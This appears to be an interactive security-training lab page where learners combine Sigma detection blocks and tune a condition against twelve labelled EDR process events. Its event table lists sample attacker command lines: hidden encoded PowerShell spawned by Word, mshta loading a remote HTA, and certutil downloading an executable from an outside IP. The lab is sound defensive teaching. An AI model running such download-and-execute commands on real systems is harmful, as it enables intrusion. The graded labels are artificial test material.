Sigma rule builder

Build a Sigma rule from selections and filters, run it against twelve process events, and tune it until it catches every malicious one and nothing else.

  • Interactive lab
  • Intermediate
  • 5 graded steps
  • 0 of 5 solved

This lab is part of One alert, before you escalate.

Your goal

Your goalWrite one detection condition that alerts on all five malicious events and stays quiet on the seven normal ones.

Twelve process creation events came from one afternoon of EDR telemetry. Five are malicious and seven are normal work, including two that look suspicious and are not.

Six detection blocks are already written. Write the condition that combines them, run it against the events, and tune it until it catches every malicious event and nothing else.

What’s on screen
Detection blocks
six named pieces of the rule on the left, each with a switch. sel_ blocks pick events in; filter_ blocks take known-good ones out.
condition
the text box under the blocks. It joins the blocks with and, or, and not. The buttons under it insert words for you.
Events
the table on the right. One row per process start, with whether the rule matched, whether it alerts, and the ground truth.
Walkthrough
the numbered path beside the workbench (below it on a phone). Each step says what to do and what you should see. Hints open one at a time.

Detection blocks

  • An Office application is the parent
  • The child is a shell or script host
  • PowerShell with an encoded command
  • certutil used as a downloader
  • Parent is the Configuration Manager agent
  • The finance team’s approved Excel refresh script

3 of 5 malicious caught · 1 false positive · 2 missed

Eventsprocess_creation
#Parent → ImageCommandLineMatchedAlertGround truth
1WINWORD.EXE → powershell.exepowershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAsel_parent_office, sel_child_shell, sel_encodedalertmalicious
2OUTLOOK.EXE → mshta.exemshta.exe http://invoice-portal.example/view.htasel_parent_office, sel_child_shellalertmalicious
3cmd.exe → certutil.execertutil.exe -urlcache -split -f http://203.0.113.50/a.txt C:\Users\Public\a.exesel_certutilquietmalicious (missed)
4explorer.exe → powershell.exepowershell.exe -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA=sel_child_shell, sel_encodedquietmalicious (missed)
5CcmExec.exe → powershell.exepowershell.exe -NoProfile -enc RwBlAHQALQBIAG8AdABGAGkAeAA=sel_child_shell, sel_encoded, filter_sccmquietbenign
6EXCEL.EXE → cmd.execmd.exe /c "C:\Finance\refresh.bat"sel_parent_office, sel_child_shell, filter_financealertbenign (false positive)
7explorer.exe → powershell.exepowershell.exe -File C:\Scripts\backup.ps1sel_child_shellquietbenign
8explorer.exe → WINWORD.EXEWINWORD.EXE /n "C:\Users\ana\report.docx"—quietbenign
9services.exe → certutil.execertutil.exe -verify C:\certs\root.cer—quietbenign
10WINWORD.EXE → splwow64.exesplwow64.exe 8192sel_parent_officequietbenign
11cmd.exe → PING.EXEping -n 1 10.0.0.1—quietbenign
12EXCEL.EXE → wscript.exewscript.exe C:\Users\ben\AppData\Local\Temp\inv.vbssel_parent_office, sel_child_shellalertmalicious

The whole walkthrough

Every step in order: 279 words, about 2 min. It gives away every answer, so try the steps first.